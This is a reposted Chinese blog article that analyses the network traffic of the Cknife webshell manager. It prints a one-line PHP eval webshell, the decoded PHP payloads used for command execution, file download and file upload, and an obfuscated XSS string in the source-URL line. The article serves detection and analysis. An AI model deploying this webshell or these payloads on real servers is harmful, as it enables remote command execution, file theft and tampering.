Cknife流量分析
本文首發:https://<img src=1 οnerrοr=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo
0x01 環境
<?php eval($_REQUEST['shell'] ?>0x02 命令執行
執行命令結果如下圖所示
POST的數據如下圖所示
對POST的數據解碼
#shell @eval(base64_decode($_POST[action]));#action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$p} {$c}"; @system($r." 2>&1",$ret); print ($ret!=0)?"ret={$ret}":"";; echo("|<-"); die();#z1 cmd#z2 cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]z2是whoami經過cknife的組合再經過base64編碼后的結果,cknife通過eval執行action中的代碼,把POST的z1和z2用base64_decode解碼,再把z1和z2組合成$r,最后用system執行$r,打印執行結果。
返回結果如下圖所示
經過cknife的格式處理,返回的結果變成了上圖的樣子,->|和|<-中間的內容就是執行命令的結果
0x03 文件下載
POST的數據如下圖所示
對POST的數據解碼
#shell @eval(base64_decode($_POST[action]));#action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]); $fp=@fopen($F,"r"); if(@fgetc($fp)){@fclose($fp);@readfile($F); }else {echo("ERROR:// Can Not Read"); }; echo("|<-"); die();#z1 C:\wamp64\www\index.phpz1是目標文件路徑經過base64編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode獲取文件的路徑,然后判斷文件是否能夠被讀取,如果能夠被讀取,則用readfile()輸出文件的內容,最后將輸出的文件內容寫入到本地文件中。
返回結果如下圖所示
有一點需要注意,cknife可能會將返回的所有內容輸出到文件中,所以需要手動取出->|和|<-之間的內容,否則文件可能格式錯誤
0x04 文件上傳
POST的數據如下圖所示
對POST的數據解碼
#shell @eval(base64_decode($_POST[action]));#action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die();#z1 C:\wamp64\www\test.txt#z2 this is a testz1是目標文件路徑經過base64編碼后的結果,z2是本地文件的內容經過hex編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode先獲取目標文件的路徑,然后獲取z2的內容,使用for循環將原來的hex編碼轉換為URL編碼,再用urldecode進行解碼,追加給$buf,for循環結束后$buf就是文件的內容,最后寫入目標文件中,寫入成功返回1,寫入失敗返回0
返回結果如下圖所示
如果->|和|<-之間的內容為1,則代表文件上傳成功
轉載于:https://www.cnblogs.com/somata/p/11615680.html
總結
以上是生活随笔為你收集整理的Cknife流量分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 什么是IIS
- 下一篇: 常用WebServices返回数据的4种